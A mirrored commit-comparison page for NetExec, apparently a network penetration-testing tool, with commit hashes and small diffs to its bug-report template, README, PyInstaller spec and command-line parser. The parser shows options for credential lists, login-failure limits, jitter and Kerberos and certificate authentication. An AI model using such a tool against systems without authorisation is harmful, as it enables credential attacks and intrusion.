mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 17:38:43 -10:00
Compare commits
736
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f1877176a5 | ||
|
|
86444ab7f2 | ||
|
|
7c0892236d | ||
|
|
c95b1a7165 | ||
|
|
3209fafea6 | ||
|
|
3cdc389fc3 | ||
|
|
ddeadf3b3a | ||
|
|
fc9aaceabe | ||
|
|
4c0c19dee5 | ||
|
|
c5e2ad55e0 | ||
|
|
7ad0224a1c | ||
|
|
203e82f3fd | ||
|
|
29e17543bb | ||
|
|
f78c212f04 | ||
|
|
5240a2ae30 | ||
|
|
69c87d2e7f | ||
|
|
2b0273a585 | ||
|
|
43f8c793ad | ||
|
|
01e95888d1 | ||
|
|
2cbf2448e8 | ||
|
|
471b300145 | ||
|
|
8af35a01f8 | ||
|
|
0c0c04d39c | ||
|
|
9439048b1a | ||
|
|
ca49b09806 | ||
|
|
d6a871e012 | ||
|
|
5598fb718e | ||
|
|
46430af861 | ||
|
|
d44b1097b8 | ||
|
|
147642cb74 | ||
|
|
a3a352abb9 | ||
|
|
1509ab0bdb | ||
|
|
8a7af4b19e | ||
|
|
712196f480 | ||
|
|
10127db5ac | ||
|
|
35e4b021aa | ||
|
|
91150d5612 | ||
|
|
af0cf844d6 | ||
|
|
66f84dce5a | ||
|
|
61f41990ed | ||
|
|
ff4dcdadf4 | ||
|
|
a6d95d8bae | ||
|
|
09fcb9b0a3 | ||
|
|
6fa2b7aace | ||
|
|
59cdb14ace | ||
|
|
c38b5377da | ||
|
|
b9bf1b8102 | ||
|
|
c4116187b5 | ||
|
|
0437747900 | ||
|
|
1b3584d01f | ||
|
|
1df94a1319 | ||
|
|
a455998548 | ||
|
|
6120b9302d | ||
|
|
7834917a40 | ||
|
|
d2659ecd8e | ||
|
|
50007fee59 | ||
|
|
d8d55186b8 | ||
|
|
4f91322692 | ||
|
|
4b68fcdecd | ||
|
|
f3546d776b | ||
|
|
98e1ddf4a1 | ||
|
|
5b48857277 | ||
|
|
7153472967 | ||
|
|
985adc1469 | ||
|
|
a61201c7d8 | ||
|
|
2836374053 | ||
|
|
6c879039b7 | ||
|
|
7c295611a9 | ||
|
|
30e7dec1be | ||
|
|
40323a77f6 | ||
|
|
5601c95b78 | ||
|
|
4d2e72c29a | ||
|
|
d5c0b5903d | ||
|
|
d3520c71df | ||
|
|
a442db74ac | ||
|
|
ebcb4add65 | ||
|
|
f0fd30f854 | ||
|
|
586733e5e7 | ||
|
|
e5d51003e3 | ||
|
|
0c6b18a06a | ||
|
|
6b9a0fa8a2 | ||
|
|
4fa0cb3056 | ||
|
|
80a3c77cef | ||
|
|
7f588958e3 | ||
|
|
46ba161784 | ||
|
|
e3c0d9eed1 | ||
|
|
14411310ed | ||
|
|
3a65ad8228 | ||
|
|
457f3e608f | ||
|
|
ea18a99810 | ||
|
|
bd121ea40f | ||
|
|
74a1b39f6e | ||
|
|
87d290deb6 | ||
|
|
f3cf3f9934 | ||
|
|
7a1bb614e6 | ||
|
|
64967da0db | ||
|
|
bdfdcd3031 | ||
|
|
99ab1acd5a | ||
|
|
8407071696 | ||
|
|
60d8a71772 | ||
|
|
9d176da35b | ||
|
|
37e5bb4671 | ||
|
|
b49532045c | ||
|
|
cf9b89e26c | ||
|
|
83bc8bd181 | ||
|
|
b90be108c4 | ||
|
|
068874517f | ||
|
|
77b9c2aecd | ||
|
|
4ffc19c3a2 | ||
|
|
01ba023b1f | ||
|
|
b98d07173b | ||
|
|
31587e219a | ||
|
|
4dc1bba7e4 | ||
|
|
7a841f6396 | ||
|
|
d536372de7 | ||
|
|
9627d4ba86 | ||
|
|
308c44c18e | ||
|
|
e6da5ad54e | ||
|
|
6cb3bb6627 | ||
|
|
ab5989b0f5 | ||
|
|
c196a0d2e5 | ||
|
|
19886c077a | ||
|
|
f5dc6c4b2b | ||
|
|
9f9fe2f55b | ||
|
|
fcf36d7dda | ||
|
|
0573fac29e | ||
|
|
d5beffc4c9 | ||
|
|
987db4e76f | ||
|
|
2f7234dd12 | ||
|
|
6a1c2a168d | ||
|
|
4f8667b00b | ||
|
|
c425cefa25 | ||
|
|
7dc7ba946e | ||
|
|
07a341fcac | ||
|
|
684836f6c4 | ||
|
|
df1d200174 | ||
|
|
d1131975ca | ||
|
|
21897fdb3e | ||
|
|
123b14314f | ||
|
|
09d52f60af | ||
|
|
3a42297eaf | ||
|
|
86ed02d68a | ||
|
|
16609eccfe | ||
|
|
a0c69af12f | ||
|
|
e1729b19c1 | ||
|
|
2102847591 | ||
|
|
d19d24d4fd | ||
|
|
5474d64579 | ||
|
|
a2fa01a09a | ||
|
|
e782f0a17c | ||
|
|
c2726f7a16 | ||
|
|
965f1976bb | ||
|
|
affeed0c4e | ||
|
|
a9c97ab93d | ||
|
|
fb282369ee | ||
|
|
4fd412b9df | ||
|
|
5161cbab03 | ||
|
|
6f928782dc | ||
|
|
9f4246cf2d | ||
|
|
a829e958e6 | ||
|
|
718cbdb27c | ||
|
|
11e670a6f0 | ||
|
|
0fcba561d7 | ||
|
|
fa9f876287 | ||
|
|
d4b2ed0764 | ||
|
|
4e5027d257 | ||
|
|
5986caa4c1 | ||
|
|
c86e8fd333 | ||
|
|
85b224cb1e | ||
|
|
fd0d0b2909 | ||
|
|
bdf47959dc | ||
|
|
277e05eb83 | ||
|
|
12134998e3 | ||
|
|
653352cb3d | ||
|
|
f3211ddf34 | ||
|
|
a87143d27f | ||
|
|
67ddd28ba2 | ||
|
|
0bfa8fb3b5 | ||
|
|
86bf9d446d | ||
|
|
1a080f0624 | ||
|
|
fe8d9bc27c | ||
|
|
3c30b9c9f3 | ||
|
|
2dbae0b5ae | ||
|
|
972c3dfd6a | ||
|
|
1ea2d8ce1c | ||
|
|
bd1aec630d | ||
|
|
cb9ad2d6b8 | ||
|
|
34f769cb6e | ||
|
|
80d2f4b6b4 | ||
|
|
d0a7ba097e | ||
|
|
13b4823e9a | ||
|
|
d443ddec92 | ||
|
|
5db48461c2 | ||
|
|
d66adbf969 | ||
|
|
a7618dc43f | ||
|
|
de0aa37450 | ||
|
|
ab9a47386c | ||
|
|
527c9bf8b4 | ||
|
|
3dfd421810 | ||
|
|
343d1ce9dc | ||
|
|
3c8d5b209f | ||
|
|
da7425ddf9 | ||
|
|
a1be84cec4 | ||
|
|
052ad2335c | ||
|
|
cfa3812a4e | ||
|
|
59fa75c8e4 | ||
|
|
2b38c865c8 | ||
|
|
4b90445fc0 | ||
|
|
1311a2aa11 | ||
|
|
eac3253c90 | ||
|
|
29a89d40c4 | ||
|
|
5353f6b6a5 | ||
|
|
2ba4604ca3 | ||
|
|
82f2892a14 | ||
|
|
dc251ce751 | ||
|
|
bb63598ba7 | ||
|
|
8d8f7955f9 | ||
|
|
68fc9b8bf2 | ||
|
|
5a5c63f50b | ||
|
|
d24304a348 | ||
|
|
63b6d2bf08 | ||
|
|
d5dd1c1b15 | ||
|
|
34f624fdc8 | ||
|
|
34b716b22a | ||
|
|
564fc1e23c | ||
|
|
a3e14fe25a | ||
|
|
a38cd132fc | ||
|
|
4260e51c36 | ||
|
|
281833ef4c | ||
|
|
5454d63b1e | ||
|
|
d344651a5a | ||
|
|
08fb634d7d | ||
|
|
6ef6cf6c92 | ||
|
|
da7a808294 | ||
|
|
6df750462d | ||
|
|
bc77940a34 | ||
|
|
e8d042d53a | ||
|
|
1f06f558d9 | ||
|
|
5c2d42c68e | ||
|
|
42b44b63d2 | ||
|
|
58e0f2f144 | ||
|
|
eb42f7bb06 | ||
|
|
75e4656356 | ||
|
|
4fc3d463b3 | ||
|
|
abf360f951 | ||
|
|
07c6bf6ccb | ||
|
|
f8d2ffafe6 | ||
|
|
003043a3a3 | ||
|
|
37868a127f | ||
|
|
04b3ffef58 | ||
|
|
f9ec46eb51 | ||
|
|
af3677ebb6 | ||
|
|
bfbfaa954c | ||
|
|
f8e69c12cd | ||
|
|
35885b51d1 | ||
|
|
56b74aed8c | ||
|
|
55a80ecda5 | ||
|
|
b3384a0971 | ||
|
|
bdd3722f48 | ||
|
|
9e8a8b7c40 | ||
|
|
4ca939c96a | ||
|
|
742ed96f7f | ||
|
|
7fc7806df0 | ||
|
|
cbd218fd0c | ||
|
|
c77130298e | ||
|
|
3d407b47a4 | ||
|
|
0da48a35a4 | ||
|
|
b232520362 | ||
|
|
88affc91fa | ||
|
|
136b45cf28 | ||
|
|
4d637bcdaf | ||
|
|
594c3b9f75 | ||
|
|
ec0ed97f72 | ||
|
|
f981215d77 | ||
|
|
bc5e842d69 | ||
|
|
d3b324d001 | ||
|
|
e22b41d6d0 | ||
|
|
1ae8c5a148 | ||
|
|
dece6b0177 | ||
|
|
d6650a0db7 | ||
|
|
1f04ce2feb | ||
|
|
ad71df8031 | ||
|
|
cb3cd3dd7b | ||
|
|
bb668cae65 | ||
|
|
5c5f19b9fd | ||
|
|
ec05735933 | ||
|
|
5793ccc778 | ||
|
|
19ed5d31e1 | ||
|
|
5fe634ddc2 | ||
|
|
1800062f31 | ||
|
|
76961df2fa | ||
|
|
b3c34a931c | ||
|
|
f77c6ae8d8 | ||
|
|
8ebd935d11 | ||
|
|
b2e97cb973 | ||
|
|
378a8b48bf | ||
|
|
2cab05041f | ||
|
|
71d7ef0f3f | ||
|
|
5bbad4e023 | ||
|
|
35e9afdbb8 | ||
|
|
bedb06a49a | ||
|
|
800bc5ec5e | ||
|
|
08bb98d068 | ||
|
|
d151912354 | ||
|
|
5ef5c7313a | ||
|
|
81b724a71e | ||
|
|
d27f1c207c | ||
|
|
c049826c98 | ||
|
|
08207eef18 | ||
|
|
1c77c6496f | ||
|
|
c77800b9eb | ||
|
|
f45baf80dd | ||
|
|
aa5dc329f9 | ||
|
|
e2d160bccc | ||
|
|
f11e848e6e | ||
|
|
2c07e1d801 | ||
|
|
98e86ea33e | ||
|
|
6ba4427701 | ||
|
|
7de5c48492 | ||
|
|
db887ac7b3 | ||
|
|
8f72ddd6ca | ||
|
|
84b59d6c10 | ||
|
|
0278b81c3b | ||
|
|
b2e123417b | ||
|
|
32c1a4aff2 | ||
|
|
002480462c | ||
|
|
55f1581c8e | ||
|
|
4c256884db | ||
|
|
5a756f1129 | ||
|
|
9bac586a49 | ||
|
|
7df74b90a5 | ||
|
|
9cf6f59f90 | ||
|
|
56da9afc63 | ||
|
|
4eadf3b5a0 | ||
|
|
f1f0fba2dd | ||
|
|
509b238fb3 | ||
|
|
384f362579 | ||
|
|
444e3ddb29 | ||
|
|
393be37b92 | ||
|
|
52858cd750 | ||
|
|
c689eb0978 | ||
|
|
0bc8101eb7 | ||
|
|
4df95b4118 | ||
|
|
f4bd6f8798 | ||
|
|
abd0c83ef7 | ||
|
|
3bb18b4ee4 | ||
|
|
30c2f23dcf | ||
|
|
e80654f980 | ||
|
|
027e520824 | ||
|
|
58428af5ae | ||
|
|
53fbac1279 | ||
|
|
c24c2993c5 | ||
|
|
502236f0fc | ||
|
|
ae23596a2d | ||
|
|
cc7d8aa8f7 | ||
|
|
5e2ec7326e | ||
|
|
b3b38d9e2a | ||
|
|
f17cc9c502 | ||
|
|
9ab9989f27 | ||
|
|
d4b91f72ed | ||
|
|
074309f2f2 | ||
|
|
7b3debabab | ||
|
|
bfd014f9d2 | ||
|
|
a610adedc3 | ||
|
|
e3ef313e34 | ||
|
|
d0ea79a199 | ||
|
|
47ec489a93 | ||
|
|
011fc0d9dd | ||
|
|
1fe2240018 | ||
|
|
f7c12ef462 | ||
|
|
da4a846f7f | ||
|
|
9ba651c3e8 | ||
|
|
f4b6fb5c0b | ||
|
|
847192c62d | ||
|
|
f89de1c617 | ||
|
|
d2f6a33587 | ||
|
|
7507b238f0 | ||
|
|
ca52cc099f | ||
|
|
e434ec0fea | ||
|
|
8348fbdb32 | ||
|
|
da1b65f1aa | ||
|
|
eb38cd940e | ||
|
|
b10b30736d | ||
|
|
acadc4b41f | ||
|
|
bb5cb3f25e | ||
|
|
a94d9d2a45 | ||
|
|
c13aba6a24 | ||
|
|
a2d489dc48 | ||
|
|
a0375cb592 | ||
|
|
5d23fb1012 | ||
|
|
08db720176 | ||
|
|
3efb829eec | ||
|
|
857cb479e6 | ||
|
|
47f90aa50c | ||
|
|
c564a31435 | ||
|
|
b80a5a041c | ||
|
|
c751ede184 | ||
|
|
48a799750b | ||
|
|
5f8ac2c89d | ||
|
|
db7c590e4f | ||
|
|
3860ba71c9 | ||
|
|
1a846462ae | ||
|
|
b37c657b79 | ||
|
|
df224851c6 | ||
|
|
7cecb45019 | ||
|
|
2f62843e41 | ||
|
|
ae8fc4633b | ||
|
|
5789296631 | ||
|
|
6e7edbd60f | ||
|
|
0bcafedb46 | ||
|
|
d296737398 | ||
|
|
35e3219ce5 | ||
|
|
e0f5097ae1 | ||
|
|
6c482cdd0e | ||
|
|
e428bcc788 | ||
|
|
d6609ae8a3 | ||
|
|
cc01381c0a | ||
|
|
cff422c6f5 | ||
|
|
71b5742d63 | ||
|
|
882e93fc6a | ||
|
|
b295bb23bd | ||
|
|
1272f12e1c | ||
|
|
7d3e48d0af | ||
|
|
900fa08989 | ||
|
|
c5044f8aec | ||
|
|
4588dc605c | ||
|
|
304c8fa6e0 | ||
|
|
864c88bc6a | ||
|
|
7589e124dd | ||
|
|
1261782177 | ||
|
|
509f31f4d6 | ||
|
|
d6e0607ed0 | ||
|
|
d4c38ead3c | ||
|
|
a050a59eab | ||
|
|
915a68395a | ||
|
|
fa27fa793b | ||
|
|
ccac581646 | ||
|
|
39d63882ce | ||
|
|
f0c9365f47 | ||
|
|
0ba9368004 | ||
|
|
911e3656f4 | ||
|
|
97e056e714 | ||
|
|
3331db779b | ||
|
|
80481fb685 | ||
|
|
206ba91e68 | ||
|
|
64c3c25fcc | ||
|
|
486fc20493 | ||
|
|
d2da64e7b3 | ||
|
|
cb450cd5d9 | ||
|
|
0b8b577421 | ||
|
|
9f636c9504 | ||
|
|
a1ccb90065 | ||
|
|
d28f447c58 | ||
|
|
c5bb5a2692 | ||
|
|
81c6d9fb63 | ||
|
|
824dbffd12 | ||
|
|
c5792dbbc6 | ||
|
|
52ca6347fd | ||
|
|
9b8e7534a8 | ||
|
|
eadd3a1b90 | ||
|
|
ecbbb9a4d7 | ||
|
|
08627beed9 | ||
|
|
2a5d0f0e24 | ||
|
|
084d048712 | ||
|
|
7dad6d7697 | ||
|
|
f90e648f7e | ||
|
|
013f0ecbf9 | ||
|
|
5a44e466d3 | ||
|
|
1b8066bc25 | ||
|
|
8af4bfa626 | ||
|
|
d3d6697eb4 | ||
|
|
5f29dd0779 | ||
|
|
441badbced | ||
|
|
86ac49caf7 | ||
|
|
88684dc175 | ||
|
|
3a580c7008 | ||
|
|
390eda3cba | ||
|
|
4b1b9b6b69 | ||
|
|
652fc12253 | ||
|
|
ac7446badb | ||
|
|
ac85127877 | ||
|
|
9bde648867 | ||
|
|
b06316fde0 | ||
|
|
db665c096a | ||
|
|
da7cb78942 | ||
|
|
4546db892a | ||
|
|
9ae0aecc33 | ||
|
|
8bb47665e7 | ||
|
|
dccc7ef5f1 | ||
|
|
05fa63d1be | ||
|
|
913605ba22 | ||
|
|
be20d01990 | ||
|
|
7483a15da3 | ||
|
|
33a82c565a | ||
|
|
19a51f543c | ||
|
|
60dea2fb19 | ||
|
|
1ce655ddbf | ||
|
|
eff606d00f | ||
|
|
82b0f973f5 | ||
|
|
4ce75c0e50 | ||
|
|
33ecbe207a | ||
|
|
ef5c65cabb | ||
|
|
30806ee975 | ||
|
|
f99e8ccac0 | ||
|
|
8be0509ef1 | ||
|
|
dd166c86fb | ||
|
|
adc83b717e | ||
|
|
c9b0edba74 | ||
|
|
020e5a12b9 | ||
|
|
d117df7b83 | ||
|
|
404f17be64 | ||
|
|
074824423c | ||
|
|
05d15a9750 | ||
|
|
e542fd6eb1 | ||
|
|
d9de4db59f | ||
|
|
8a4c29de0e | ||
|
|
7e7d447e56 | ||
|
|
b0fd02b4ec | ||
|
|
c71a8688d6 | ||
|
|
9784c2c58c | ||
|
|
b2d960c566 | ||
|
|
d2f7140eab | ||
|
|
00e19a1ded | ||
|
|
1a1993f7e9 | ||
|
|
84af17f78c | ||
|
|
85c4edc780 | ||
|
|
90c206f0fe | ||
|
|
4c8e8f0585 | ||
|
|
1aa997f43b | ||
|
|
086fad7cb2 | ||
|
|
f1c2840957 | ||
|
|
51ac6d6408 | ||
|
|
4e380b46a1 | ||
|
|
edb6f90116 | ||
|
|
4c4f3b99b9 | ||
|
|
6f3c5bc6bf | ||
|
|
a37feba363 | ||
|
|
dbb05457be | ||
|
|
8f10f9ede6 | ||
|
|
d1ed5073d7 | ||
|
|
8edaf13af1 | ||
|
|
30cf67159e | ||
|
|
006ad7c6d8 | ||
|
|
3d8be59ee5 | ||
|
|
18ba7dba6e | ||
|
|
1477b49450 | ||
|
|
ee75c4316a | ||
|
|
cb0f1259f5 | ||
|
|
051bc34f41 | ||
|
|
0e9d3e5c9b | ||
|
|
6402ac16a5 | ||
|
|
abe3dfc054 | ||
|
|
e46a962671 | ||
|
|
e8f8d7e90e | ||
|
|
a742bce516 | ||
|
|
c2731fb985 | ||
|
|
0db3d64d59 | ||
|
|
486f47a6b7 | ||
|
|
e3520135a5 | ||
|
|
83b71487cf | ||
|
|
782f476e33 | ||
|
|
daa37dd9f6 | ||
|
|
bc593ecb4c | ||
|
|
7f037d79bd | ||
|
|
5a226988cb | ||
|
|
1440a6bf1e | ||
|
|
ca9847cf61 | ||
|
|
df087a7444 | ||
|
|
5514bfe05c | ||
|
|
d3832931b8 | ||
|
|
ed4f6f4858 | ||
|
|
a44fa60223 | ||
|
|
5a5a5b5756 | ||
|
|
a5fa60b62a | ||
|
|
a754149025 | ||
|
|
84d8f108c9 | ||
|
|
74e49abf28 | ||
|
|
b8ce69480d | ||
|
|
e663fb83d8 | ||
|
|
e7799212b5 | ||
|
|
65be28dc19 | ||
|
|
49d04493e3 | ||
|
|
6debc5fb49 | ||
|
|
4ae11640c3 | ||
|
|
24ac21d513 | ||
|
|
aa8ee61a7b | ||
|
|
ecd54323bf | ||
|
|
c8de6fe76f | ||
|
|
24dc0879b9 | ||
|
|
3c8bb13117 | ||
|
|
5a53fcab93 | ||
|
|
d1d0864002 | ||
|
|
8ec8830e81 | ||
|
|
03dfe7f23c | ||
|
|
c90270e25d | ||
|
|
cb6891b787 | ||
|
|
3a0f1c90e5 | ||
|
|
324dc0ccdd | ||
|
|
8ca5874260 | ||
|
|
172bddbb4c | ||
|
|
bb788a484e | ||
|
|
ac0e0c4a29 | ||
|
|
c67d43310c | ||
|
|
21f6031129 | ||
|
|
70922c5b85 | ||
|
|
de03b9b163 | ||
|
|
5f23eadc3a | ||
|
|
97838b466c | ||
|
|
eb33458e46 | ||
|
|
1f96460b01 | ||
|
|
60c3afd20d | ||
|
|
6c07fa8641 | ||
|
|
3ca1987d6b | ||
|
|
b792021223 | ||
|
|
34e7d9f0ce | ||
|
|
2124866551 | ||
|
|
e2c1e820c7 | ||
|
|
b1faef4cfa | ||
|
|
4522f00d6e | ||
|
|
e1c5271f43 | ||
|
|
da54a7f5b3 | ||
|
|
cc268f0e0a | ||
|
|
49e80169fd | ||
|
|
9a16a4fce4 | ||
|
|
68b2fe04a3 | ||
|
|
61f6ee1074 | ||
|
|
65fe159168 | ||
|
|
4137704a06 | ||
|
|
4104caa5e8 | ||
|
|
e11898b182 | ||
|
|
f4c199e1cc | ||
|
|
ba0c461aa2 | ||
|
|
db68c1303b | ||
|
|
8d432a5074 | ||
|
|
25e9586ace | ||
|
|
5566578daf | ||
|
|
49c89dbca6 | ||
|
|
3d3b41de62 | ||
|
|
dce281dfba | ||
|
|
4d96ee6d52 | ||
|
|
78d691be12 | ||
|
|
02dbcbdc5d | ||
|
|
d0827bb78c | ||
|
|
a53faf3c6a | ||
|
|
904769658d | ||
|
|
d0f23b9dda | ||
|
|
714c44bac8 | ||
|
|
fedca6bcfb | ||
|
|
f2361e27d6 | ||
|
|
57a06d0612 | ||
|
|
31ec2eeffc | ||
|
|
1d9b50210f | ||
|
|
96e4a306b7 | ||
|
|
8ce7e2fe2a | ||
|
|
8b78206f72 | ||
|
|
ab255aa9f4 | ||
|
|
3648ac579d | ||
|
|
09fd370ecf | ||
|
|
5933a08f33 | ||
|
|
897fe67d72 | ||
|
|
e60b47f88c | ||
|
|
d063f53b1e | ||
|
|
e65303aad6 | ||
|
|
6140b3ffdd | ||
|
|
edc399736f | ||
|
|
9614685d2d | ||
|
|
2b7d8abbbe | ||
|
|
baa735192a | ||
|
|
217adf3a8f | ||
|
|
3f1d663121 | ||
|
|
32e8603411 | ||
|
|
472be5aa36 | ||
|
|
92206c8143 | ||
|
|
d9197c6e9f | ||
|
|
718a38d639 | ||
|
|
aa17bbc32a | ||
|
|
0f62ca59cd | ||
|
|
f17f091d6b | ||
|
|
8459d608c8 | ||
|
|
25600ad5df | ||
|
|
952e2cfadd | ||
|
|
d80568056b | ||
|
|
e2a530af15 | ||
|
|
581fa4ae19 | ||
|
|
66c8d0cea7 | ||
|
|
c64a5b13aa | ||
|
|
72deeca890 | ||
|
|
a62df1b1dd | ||
|
|
cbcc26f2c5 | ||
|
|
f5604a63d1 | ||
|
|
a0ab16c45b | ||
|
|
1f07880e4e | ||
|
|
ae44a34e74 | ||
|
|
af39e64aff | ||
|
|
5699ccc173 | ||
|
|
57b3f022ba | ||
|
|
9d3e820aac | ||
|
|
7e23fb3a9a | ||
|
|
c027b4a519 | ||
|
|
9d2a1e86b7 | ||
|
|
cd33dc9eb5 | ||
|
|
5ca5c96015 | ||
|
|
ac4c470c16 | ||
|
|
00ffc96832 | ||
|
|
db5bf36a1c | ||
|
|
6e52d617c8 | ||
|
|
afb78358cf | ||
|
|
6a9f1212c1 | ||
|
|
31995e0c67 | ||
|
|
02b1361c85 | ||
|
|
5c7888c416 | ||
|
|
b2a450916b | ||
|
|
5930d2d9af | ||
|
|
03c52432b5 | ||
|
|
6659976b25 | ||
|
|
e1f84377ac | ||
|
|
05492ff6a1 | ||
|
|
7ec74ddb05 | ||
|
|
9a12116be3 | ||
|
|
767e26e6e2 | ||
|
|
e56e97c578 | ||
|
|
7531bf62d5 | ||
|
|
81d07952b9 | ||
|
|
ba7d5223b8 | ||
|
|
29ced36cde | ||
|
|
8b6df3494a | ||
|
|
34066da22b | ||
|
|
54cadbd567 | ||
|
|
63e9e54e69 | ||
|
|
745de4908a | ||
|
|
dc4030aad2 | ||
|
|
633cec1dc9 | ||
|
|
bff20dff79 | ||
|
|
2e634750db | ||
|
|
f41f80d98f | ||
|
|
9aca9c246a |
No files matched your search
@@ -1,5 +1,3 @@
|
||||
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
|
||||
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
@@ -9,6 +7,8 @@ assignees: ''
|
||||
|
||||
---
|
||||
|
||||
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
|
||||
|
||||
|
||||
|
||||
**Describe the bug**
|
||||
|
||||
@@ -63,3 +63,5 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/NeffIsBack)
|
||||
[](https://github.com/Hackndo)
|
||||
[](https://github.com/XiaoliChan)
|
||||
[](https://github.com/termanix)
|
||||
[](https://github.com/Dfte)
|
||||
@@ -19,6 +19,7 @@ a = Analysis(
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'certipy',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.examples.regsecrets',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
@@ -48,6 +49,7 @@ a = Analysis(
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
|
||||
+13
-12
@@ -24,21 +24,22 @@ def gen_cli_args():
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
DISTANCE = ""
|
||||
CODENAME = "SmoothOperator"
|
||||
CODENAME = "Yippie-Ki-Yay"
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group = generic_parser.add_argument_group("Generic Options")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group = output_parser.add_argument_group("Output Options")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
log_level = output_group.add_mutually_exclusive_group()
|
||||
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
@@ -60,7 +61,7 @@ def gen_cli_args():
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
|
||||
|
||||
For documentation and usage examples, visit: https://www.netexec.wiki/
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
@@ -73,17 +74,17 @@ def gen_cli_args():
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
mgroup = module_parser.add_argument_group("Modules")
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
|
||||
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
@@ -94,13 +95,13 @@ def gen_cli_args():
|
||||
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
|
||||
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
|
||||
certificate_group = std_parser.add_argument_group("Certificate Authentication")
|
||||
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
|
||||
